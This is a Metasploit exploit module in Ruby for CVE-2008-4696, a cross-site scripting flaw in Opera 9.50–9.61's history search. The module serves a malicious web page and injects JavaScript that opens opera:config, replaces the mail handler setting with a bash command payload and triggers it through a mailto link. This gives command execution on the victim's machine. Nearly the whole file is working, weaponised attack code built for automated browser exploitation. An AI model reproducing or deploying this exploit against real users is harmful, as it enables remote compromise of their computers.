183 lines
4.5 KiB
Ruby
183 lines
4.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::OPERA,
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:javascript => true,
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:rank => ExcellentRanking, # reliable command execution
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:vuln_test => %Q{
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v = parseFloat(opera.version());
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if (9.5 < v && 9.62 > v) {
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is_vuln = true;
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}
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},
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Opera historysearch XSS',
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'Description' => %q{
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Certain constructs are not escaped correctly by Opera's History
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Search results. These can be used to inject scripts into the
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page, which can then be used to modify configuration settings
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and execute arbitrary commands. Affects Opera versions between
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9.50 and 9.61.
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},
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'License' => BSD_LICENSE,
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'Author' =>
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[
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'Roberto Suggi', # Discovered the vulnerability
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'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec
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'egypt', # msf module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2008-4696'],
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['OSVDB', '49472'],
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['BID', '31869'],
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['URL', 'http://www.opera.com/support/kb/view/903/'],
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],
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'Payload' =>
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{
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'ExitFunc' => 'process',
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'Space' => 4000,
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'DisableNops' => true,
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'BadChars' => "\x09\x0a\x0d\x20",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby telnet',
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}
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},
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'Targets' =>
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[
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#[ 'Automatic', { } ],
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#[ 'Opera < 9.61 Windows',
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# {
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# 'Platform' => 'win',
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# 'Arch' => ARCH_X86,
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# }
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#],
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[ 'Opera < 9.61 Unix Cmd',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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}
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],
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],
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'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
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'DefaultTarget' => 0
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))
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end
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def on_request_uri(cli, request)
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headers = {}
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html_hdr = %Q^
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<html>
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<head>
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<title>Loading</title>
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^
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html_ftr = %Q^
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</head>
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<body >
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<h1>Loading</h1>
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</body></html>
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^
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case request.uri
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when /[?]jspayload/
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p = regenerate_payload(cli)
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if (p.nil?)
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send_not_found(cli)
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return
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end
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# We're going to run this through unescape(), so make sure
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# everything is encoded
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penc = Rex::Text.to_hex(p.encoded, "%")
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content =
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%Q{
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var s = document.createElement("iframe");
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s.src="opera:config";
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s.id="config_window";
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document.body.appendChild(s);
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config_window.eval(
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"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
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"old_app = opera.getPreference('Mail','External Application');" +
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"old_handler = opera.getPreference('Mail','Handler');" +
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"opera.setPreference('Mail','External Application',cmd);" +
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"opera.setPreference('Mail','Handler','2');" +
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"app_link = document.createElement('a');" +
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"app_link.setAttribute('href', 'mailto:a@b.com');" +
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"app_link.click();" +
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"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
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"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
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"");
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setTimeout(function () {window.location='about:blank'},1);
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}
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when /[?]history/
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js = %Q^
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window.onload = function() {
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location.href = "opera:historysearch?q=*";
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}
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^
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content = %Q^
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#{html_hdr}
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<script><!--
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#{js}
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//--></script>
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#{html_ftr}
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^
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when get_resource()
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print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
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js = %Q^
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if (window.opera) {
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var wnd = window;
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while (wnd.parent != wnd) {
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wnd = wnd.parent;
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}
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url = location.href;
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wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
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}
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^
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content = %Q^
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#{html_hdr}
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<script><!--
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#{js}
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//--></script>
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#{html_ftr}
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^
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else
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print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")
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send_not_found(cli)
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return
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end
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content.gsub!(/^\t{4}/, '')
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content.gsub!(/\t/, ' ')
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send_response_html(cli, content, headers)
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handler(cli)
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end
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end
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